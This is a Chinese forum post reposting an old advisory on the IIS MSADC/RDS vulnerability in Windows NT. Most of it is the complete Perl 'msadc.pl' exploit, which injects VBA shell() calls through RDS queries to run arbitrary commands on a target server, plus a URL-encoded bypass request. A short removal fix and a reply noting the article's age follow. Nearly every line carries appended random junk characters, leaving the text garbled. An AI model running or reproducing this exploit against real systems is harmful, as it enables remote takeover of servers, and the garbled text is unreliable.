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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) }\_[+@*EJ  
}_o!f V  
涉及程序: 1R"ymWg"  
Microsoft NT server H He~OxWg  
@|J+ f5O  
描述: DmgWIede|:  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 OcGHMGdn  
w1P8p>vA1  
详细: r2 o-/$  
如果你没有时间读详细内容的话,就删除: _sp/RU,J-3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll s1NRUV2E  
有关的安全问题就没有了。 '}T6e1#JV  
=H2.1 :'  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ;&G8e* bM2  
+BE_K_56  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 C~a- R#  
关于利用ODBC远程漏洞的描述,请参看: \i$WXW]|  
rWMG_eP:  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm PEX(*GS  
'74-rL:i  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 o%\pI%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp (3+:/,{'$  
@}@J$ g  
这里不再论述。 I!sB$=n  
-g]g  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: &GH ,is  
R2$;f?;:  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ~#jD/  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! B?)=d,E  
FGG 7;0(  
v(2|n}qY  
#将下面这段保存为txt文件,然后: "perl -x 文件名" |,Xrt8O/[  
ghd*EXrF H  
#!perl 1f^4J~{  
# \;Ywr3  
# MSADC/RDS 'usage' (aka exploit) script 53cW`F  
# jPf*qe>U  
# by rain.forest.puppy fUg I*V  
# 4#BoS9d2I<  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me )R`w{V  
# beta test and find errors! X#*|_(^  
x0!5z1KQh  
use Socket; use Getopt::Std; ;Y>cegG\  
getopts("e:vd:h:XR", \%args); $!_]mz6*  
, 1{)B  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; (S[" ak  
jTJ]: EN  
if (!defined $args{h} && !defined $args{R}) { T7{Z0-  
print qq~ .<C}/Cl  
Usage: msadc.pl -h <host> { -d <delay> -X -v } :LwNOuavN  
-h <host> = host you want to scan (ip or domain) 2So7fZa^wg  
-d <seconds> = delay between calls, default 1 second yEe4{j$  
-X = dump Index Server path table, if available UldG0+1d  
-v = verbose s]=s|  
-e = external dictionary file for step 5 ;h"?h*}m!\  
,HFoy-Yq  
Or a -R will resume a command session duKR;5:  
YkKq}DXj  
~; exit;} L27i_4E,  
"38ya2*  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; .V?i3  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} `%x6;Ha  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} :+SpZ>  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); &T8prE?  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} / 1jb8w'  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;O2r+n  
|? !Ew# w  
if (!defined $args{R}){ $ret = &has_msadc; D+.h *{gD  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 4u zyU_  
uwl;(zwh_  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" IZ;%lV7t  
. "cmd /c "; rI5)w_E?  
$in=<STDIN>; chomp $in; +Zx+DW cq  
$command="cmd /c " . $in ; O&!tW^ih  
U. 1Vpfy  
if (defined $args{R}) {&load; exit;} ':fq  
&Oq& ikw  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; MT,LO<.  
&try_btcustmr;  U'nz3  
KbY5 qou  
print "\nStep 2: Trying to make our own DSN..."; }7Si2S  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 1X4v:rI  
#qk A*WP  
print "\nStep 3: Trying known DSNs..."; *FkG32k  
&known_dsn; | 1Fy  
m>gok0{pm  
print "\nStep 4: Trying known .mdbs..."; c8sY#I  
&known_mdb; CqUK[#kW(  
a(X?N.w  
if (defined $args{e}){ p AzPi  
print "\nStep 5: Trying dictionary of DSN names..."; 7B$iM,}.b  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }  ?6!7fs,  
(L?fYSP!  
print "Sorry Charley...maybe next time?\n"; yFT)R hN  
exit; "$? f&*  
X$zlR) Re  
############################################################################## i!jZZj-{  
L[d 7@  
sub sendraw { # ripped and modded from whisker 0)V<)"i  
sleep($delay); # it's a DoS on the server! At least on mine... `?Yh`P0  
my ($pstr)=@_;  t]Xdzy  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || oXg KuR  
die("Socket problems\n"); DYU+?[J  
if(connect(S,pack "SnA4x8",2,80,$target)){ n\}!'>d'  
select(S); $|=1; t)LD-%F  
print $pstr; my @in=<S>;  b]s*z<|%  
select(STDOUT); close(S); .N99=%[}h  
return @in; H'E >QT  
} else { die("Can't connect...\n"); }} AlNiqnZ  
1pC!F ;9Oo  
############################################################################## o[Yxh%T  
nJ#uz:(w,  
sub make_header { # make the HTTP request ~ jb6  
my $msadc=<<EOT s% "MaDz  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 qWf7k+7G  
User-Agent: ACTIVEDATA K+D`U6&  
Host: $ip /'IOi`d  
Content-Length: $clen yVm~5Y&Z  
Connection: Keep-Alive 8H3|i7.1h  
@eN x:}  
ADCClientVersion:01.06 )eNR4nF  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ?5nF` [rx  
e%&2tf4  
--!ADM!ROX!YOUR!WORLD! SUXRWFl  
Content-Type: application/x-varg T^8t<S@`  
Content-Length: $reqlen iK6L\'k  
nsqs*$  
EOT N.C<Mo  
; $msadc=~s/\n/\r\n/g; f0fN1  
return $msadc;} 'H2TwSbIXI  
iIq='xwa9  
############################################################################## bR@ e6.<i  
.Y!*6I  
sub make_req { # make the RDS request ^WP`;e  
my ($switch, $p1, $p2)=@_; FFl[[(`%D  
my $req=""; my $t1, $t2, $query, $dsn; _|xO4{X  
Cs7YD~,  
if ($switch==1){ # this is the btcustmr.mdb query 6~sb8pK.=  
$query="Select * from Customers where City=" . make_shell(); xR2E? 0T  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . *z`_U]tP  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} h8oG5|Y  
$ +;`[b   
elsif ($switch==2){ # this is general make table query &'4id[$9  
$query="create table AZZ (B int, C varchar(10))"; 5Ya TE<G  
$dsn="$p1";} OWFLw  
m]BxGwT=m  
elsif ($switch==3){ # this is general exploit table query A^2VH$j]+  
$query="select * from AZZ where C=" . make_shell(); "W;Gv I  
$dsn="$p1";} U[=VW0  
_h!OGLec  
elsif ($switch==4){ # attempt to hork file info from index server I0=YIcH5  
$query="select path from scope()"; 7wsn8_n9  
$dsn="Provider=MSIDXS;";} *,~d!Fc  
yHl1:cf(y  
elsif ($switch==5){ # bad query _6&x$ *O  
$query="select"; ozF>2`K }  
$dsn="$p1";} q-gN0"z^6$  
bR6.Xdt.n  
$t1= make_unicode($query); ps"DL4*  
$t2= make_unicode($dsn); N;7Xt9l  
$req = "\x02\x00\x03\x00"; m5SJB]a/  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8[U1{s:J  
$req.= "\x00\x00" . $t1 ; 3>%rm%ffE  
$req.= "\x08\x00" . pack ("S1", length($t2)); wQ qI@  
$req.= "\x00\x00" . $t2 ; {,tEe'H7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; .`& ($W  
return $req;} V*rAZ0  
Cfu]umZLn  
############################################################################## tgH@|Kg  
y^tuybpZY<  
sub make_shell { # this makes the shell() statement q' 77BRD3  
return "'|shell(\"$command\")|'";} O^48c$Apv  
x):cirwkl  
############################################################################## ~;k-/Z"  
7udMF3;>  
sub make_unicode { # quick little function to convert to unicode Vm6G5QwM  
my ($in)=@_; my $out; Juj"cjob  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -l<b|`s=w.  
return $out;} a:Js i=  
oCdWf63D  
############################################################################## qz"di~7  
e )l<D)  
sub rdo_success { # checks for RDO return success (this is kludge) .w\AyXp  
my (@in) = @_; my $base=content_start(@in); +0\BI<aG  
if($in[$base]=~/multipart\/mixed/){ ]7n+|@3x  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 2`I" QU  
return 0;} 5*u0VabC<  
+uKh]RP  
############################################################################## 2Jl6Xc8  
x?Doe`/6?  
sub make_dsn { # this makes a DSN for us E&P'@'Yk  
my @drives=("c","d","e","f"); fOCLN$x^  
print "\nMaking DSN: "; ;@GlJ '$;  
foreach $drive (@drives) { yB\}e'J^  
print "$drive: "; N|5J-fR&  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . H=[eO  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" #z_lBg. K  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); :@{(^}N8u  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ;<d("Yz:@Z  
return 0 if $2 eq "404"; # not found/doesn't exist *ndXZ64  
if($2 eq "200") { `z%f@/:fG  
foreach $line (@results) { 4Tgy2[D?q  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} p 9Zi}!  
} return 0;} =#dW^ ?p  
oBiJiPE=`  
############################################################################## /"?yB$s  
E}Q'Wz|k  
sub verify_exists { m(SGE,("w  
my ($page)=@_; p/L|;c  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ?U.+SQ  
return $results[0];} mH2XwA|  
Tt #4dm-  
############################################################################## OAO|HH  
FIhq>L.q4  
sub try_btcustmr { HpY-7QTPJ~  
my @drives=("c","d","e","f"); ;rZR9fR  
my @dirs=("winnt","winnt35","winnt351","win","windows"); OjTb2[Q  
|l)SX\Qf`@  
foreach $dir (@dirs) { _SdO}AiG  
print "$dir -> "; # fun status so you can see progress ]:jP*0bLx  
foreach $drive (@drives) { fTd=}zY  
print "$drive: "; # ditto O_}R~p  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; NovF?kh2  
$reqlenlen=length( "$reqlen" ); "/[xak!g  
$clen= 206 + $reqlenlen + $reqlen; low 0@+Q  
>Lj0B%^EvM  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); =]jc{Y%o  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} jsB%RvX  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} =n .d'  
w%F~4|F  
############################################################################## /ap3>xkt  
){^o"A?-:  
sub odbc_error { ,]RMa\Q4Wg  
my (@in)=@_; my $base; .Qk T-12  
my $base = content_start(@in); ))m\d*  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this RQhS]y@e  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {7swE(N  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; XE8>& & X  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; y,'M3GGl  
return $in[$base+4].$in[$base+5].$in[$base+6];} `L# pN5  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; KBJ%$OQV  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 0Cd )w4C  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ?e( y/  
K",YAfJa  
############################################################################## shlMJa?  
vpnQs#8O  
sub verbose { _wMxKM  
my ($in)=@_; hZ@frbuowk  
return if !$verbose; B!{vSBq  
print STDOUT "\n$in\n";} ,9;RP/"7  
%;S T7  
############################################################################## E;m]RtvH  
VwJ A  
sub save { DmzK* O{  
my ($p1, $p2, $p3, $p4)=@_; sZ,xbfZby  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; -yyim;Nj  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; cW%QKdTQY0  
close OUT;} <&JK5$l<X  
\cJ?2^Eq  
############################################################################## @GTkS!86  
+I~`Ob  
sub load { Lv;% z  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; b)ytm=7ha  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Y$JGpeq8w  
@p=<IN>; close(IN); 4z6i{n-k  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); _v=S4A#tF  
$target= inet_aton($ip) || die("inet_aton problems"); xAJ N(8?  
print "Resuming to $ip ..."; 9~3;upWu!  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; E%Tpby}^'  
if($p[1]==1) { 4-j3&(  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; })#VO-J  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; T($d3Nn1  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 4mHR+SZy  
if (rdo_success(@results)){print "Success!\n";} V9KI?}q:W  
else { print "failed\n"; verbose(odbc_error(@results));}} 5PF?Eq   
elsif ($p[1]==3){ K|^PHe  
if(run_query("$p[3]")){ 80J87\)  
print "Success!\n";} else { print "failed\n"; }} S7oPdzcU-  
elsif ($p[1]==4){ Rhw- 49AWx  
if(run_query($drvst . "$p[3]")){ %vF,wQC  
print "Success!\n"; } else { print "failed\n"; }} l-^2>K[  
exit;} \e)>]C}h  
gR5 EK$  
############################################################################## /Z3 Mlm{  
/%&Kbd  
sub create_table { >qE f991SZ  
my ($in)=@_; au=A+  
$reqlen=length( make_req(2,$in,"") ) - 28; [d"]AF[#  
$reqlenlen=length( "$reqlen" ); 2Xw=kwu  
$clen= 206 + $reqlenlen + $reqlen; XotiKCk|Aq  
my @results=sendraw(make_header() . make_req(2,$in,"")); T'i^yd }*v  
return 1 if rdo_success(@results); GK6/S_l%D+  
my $temp= odbc_error(@results); verbose($temp); y5@#le M  
return 1 if $temp=~/Table 'AZZ' already exists/; hHA!.u4&  
return 0;} stxei 6  
 6chcpP0  
############################################################################## h2S!<  
3{:AG,G  
sub known_dsn { Y5mQY5u|  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go dw*PjIB9x  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", UTWchh  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Tumv0=q4wd  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ]S  
gm^j8  B  
foreach $dSn (@dsns) { a7Mn/ i.  
print "."; "FD`1  
next if (!is_access("DSN=$dSn")); \p4>onGI  
if(create_table("DSN=$dSn")){ @ra^0  
print "$dSn successful\n"; 1>yh`Bp\=  
if(run_query("DSN=$dSn")){ hZZ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5S9i>B  
print "Something's borked. Use verbose next time\n";}}} print "\n";} kh4., \'  
^U q%-a  
############################################################################## fk*I}pDx  
we("#s1=  
sub is_access { {{:QtkN  
my ($in)=@_; Bm>>-nG;  
$reqlen=length( make_req(5,$in,"") ) - 28; |lDxk[  
$reqlenlen=length( "$reqlen" ); @5RbMf{  
$clen= 206 + $reqlenlen + $reqlen; Wg5<@=x!G  
my @results=sendraw(make_header() . make_req(5,$in,"")); {<}9r6k;f  
my $temp= odbc_error(@results); #Vy8<Vy&w  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); omP\qOc  
return 0;} ayGcc`  
XJZ\ss  
############################################################################## `{KdmWhW  
@> |3d  
sub run_query { n2V $dF4m  
my ($in)=@_; #}p@+rkg2  
$reqlen=length( make_req(3,$in,"") ) - 28; Cg8s9qE?  
$reqlenlen=length( "$reqlen" ); n 9>**&5L  
$clen= 206 + $reqlenlen + $reqlen; C ^IPddw>  
my @results=sendraw(make_header() . make_req(3,$in,"")); W5*Kq^6Pd  
return 1 if rdo_success(@results); \V(w=   
my $temp= odbc_error(@results); verbose($temp); ""f'L,`{.  
return 0;} P:#KBF;a  
8P?p  
############################################################################## BQ:hUF3  
<da-iY\5  
sub known_mdb { |LLDaA-=0  
my @drives=("c","d","e","f","g"); 7!;H$mxP  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @fQvAok  
my $dir, $drive, $mdb; 5r1u_8)'  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; |NdWx1  
Q]{ `m  
# this is sparse, because I don't know of many PyoIhe&ep  
my @sysmdbs=( "\\catroot\\icatalog.mdb", H/2dVUU  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", O0^?VW$y_  
"\\system32\\certmdb.mdb", ;7>k[?'e  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% "Cz0r"N  
Jn&^5,J]F8  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", wS7nTZfw  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Z35(f0b  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", yE#.Q<4  
"\\cfusion\\cfapps\\security\\realm_.mdb", EJW}&e/  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", :Ahw{z`H#  
"\\cfusion\\database\\cfexamples.mdb", 9u;/l#?@T  
"\\cfusion\\database\\cfsnippets.mdb", fi~jT"_CI  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ,W|cyQ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", _. &N@k  
"\\cfusion\\brighttiger\\database\\cleam.mdb", *Y':raP  
"\\cfusion\\database\\smpolicy.mdb", gF>t+"+ x  
"\\cfusion\\database\cypress.mdb", im3BQIPR  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Pi hpo  
"\\website\\cgi-win\\dbsample.mdb", J#DN2y <  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", )Drif\FF)  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" +;ylld  
); #these are just I=pFGU  
foreach $drive (@drives) { |s'5 ~+  
foreach $dir (@dirs){ *!.anbo@?z  
foreach $mdb (@sysmdbs) { 8|{d1dy  
print "."; r i/CLq^D  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ dw>1Ut{"3  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; P:>]a$Is  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 5S*aZ1t18  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 5m yQBKE  
} else { print "Something's borked. Use verbose next time\n"; }}}}} MW2{w<-]7  
`F$lO2#k  
foreach $drive (@drives) { =[:pm)   
foreach $mdb (@mdbs) { iv ~<me0F  
print "."; 7O-fc1OTv  
if(create_table($drv . $drive . $dir . $mdb)){ P~*'/!@  
print "\n" . $drive . $dir . $mdb . " successful\n"; a$5P\_  
if(run_query($drv . $drive . $dir . $mdb)){ x#XxD<y  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; G ?Hx"3:?  
} else { print "Something's borked. Use verbose next time\n"; }}}} 5uX-onP\[  
} W6s-epsRmT  
?="?)t[  
############################################################################## ZY|$[>X!  
W)<t7q+  
sub hork_idx { $-p9cyk  
print "\nAttempting to dump Index Server tables...\n"; feJl[3@tO  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &;naaV_2T  
$reqlen=length( make_req(4,"","") ) - 28; TT oW>RP#  
$reqlenlen=length( "$reqlen" ); %i.Prckrb  
$clen= 206 + $reqlenlen + $reqlen; fZp3g%u  
my @results=sendraw2(make_header() . make_req(4,"","")); 9>@Vk vpY  
if (rdo_success(@results)){ R2A#2{+H  
my $max=@results; my $c; my %d; X4<Y5?&0  
for($c=19; $c<$max; $c++){ {TZV^gT4  
$results[$c]=~s/\x00//g; DB+oCE<.#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; bao"iv~z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; FeNNzV=  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; w$Z%RF'p  
$d{"$1$2"}="";} e^}@X[*'#  
foreach $c (keys %d){ print "$c\n"; } qP$)V3l  
} else {print "Index server doesn't seem to be installed.\n"; }} _fccZf(yC.  
@R Jr ~y0  
############################################################################## NX5$x/uz  
eQwvp`@"  
sub dsn_dict { }]Nt:_UCX  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 3RF`F i  
while(<IN>){ V KxuK0{  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; )nGH$Mu  
next if (!is_access("DSN=$dSn")); KE6 XNG3  
if(create_table("DSN=$dSn")){ } ,@ex  
print "$dSn successful\n"; *L~?.9R  
if(run_query("DSN=$dSn")){ nkzH}F=<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Qff.QI,  
print "Something's borked. Use verbose next time\n";}}} Yd(<;JKF[  
print "\n"; close(IN);} CQPq5/@Y4  
X}wo$t  
############################################################################## 4y.qtiIP>$  
&smZ;yb|'h  
sub sendraw2 { # ripped and modded from whisker 8F&Y;  
sleep($delay); # it's a DoS on the server! At least on mine... 4peRbm  
my ($pstr)=@_; /Pxny3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `2/V.REX$h  
die("Socket problems\n"); yJ="dEn>i"  
if(connect(S,pack "SnA4x8",2,80,$target)){ dZox;_b  
print "Connected. Getting data"; {:|b,ep T  
open(OUT,">raw.out"); my @in; tXuf!  
select(S); $|=1; print $pstr; .Q^V,[on1T  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} m@UrFPZ  
close(OUT); select(STDOUT); close(S); return @in; TT no  
} else { die("Can't connect...\n"); }} FKPR;H8>  
*I[tIO\  
############################################################################## :H:Se  
aU@1j;se@  
sub content_start { # this will take in the server headers E $P?%<o  
my (@in)=@_; my $c; ?E<9H/  
for ($c=1;$c<500;$c++) { \8g= Ix  
if($in[$c] =~/^\x0d\x0a/){ eL<jA9cJ9  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ]57yorc`  
else { return $c+1; }}} 0gG r/78   
return -1;} # it should never get here actually ;XQ27,K&  
w:/3%-  
############################################################################## kZ PL$ \/A  
CvR-lKV<  
sub funky { %@:6&  
my (@in)=@_; my $error=odbc_error(@in); =\ k:]  
if($error=~/ADO could not find the specified provider/){ ?\)h2oi!F5  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~N2=44e  
exit;} t .}];IJP  
if($error=~/A Handler is required/){ ~ToU._  
print "\nServer has custom handler filters (they most likely are patched)\n"; gm%cAme  
exit;}  <k0/O  
if($error=~/specified Handler has denied Access/){ p I~;3T:!  
print "\nServer has custom handler filters (they most likely are patched)\n"; G8 q<)  
exit;}} Uu52uR  
M[+#*f.T}  
############################################################################## m\XG7uo~  
hzU(XW  
sub has_msadc { ExMd$`gW  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); B*Ey&DAV  
my $base=content_start(@results); Rt:^'Qi$!  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ef)zf+o  
return 0;} LlS~J K  
2[;~@n1P  
######################## ,p#r; O<O  
o@7U4#E  
c%bzrYQvA;  
解决方案: !Qf*d;wxn(  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll i"=lxqWeaV  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 3<xDxj 0<  
}%-iJ\  
拿出来充数 哈哈
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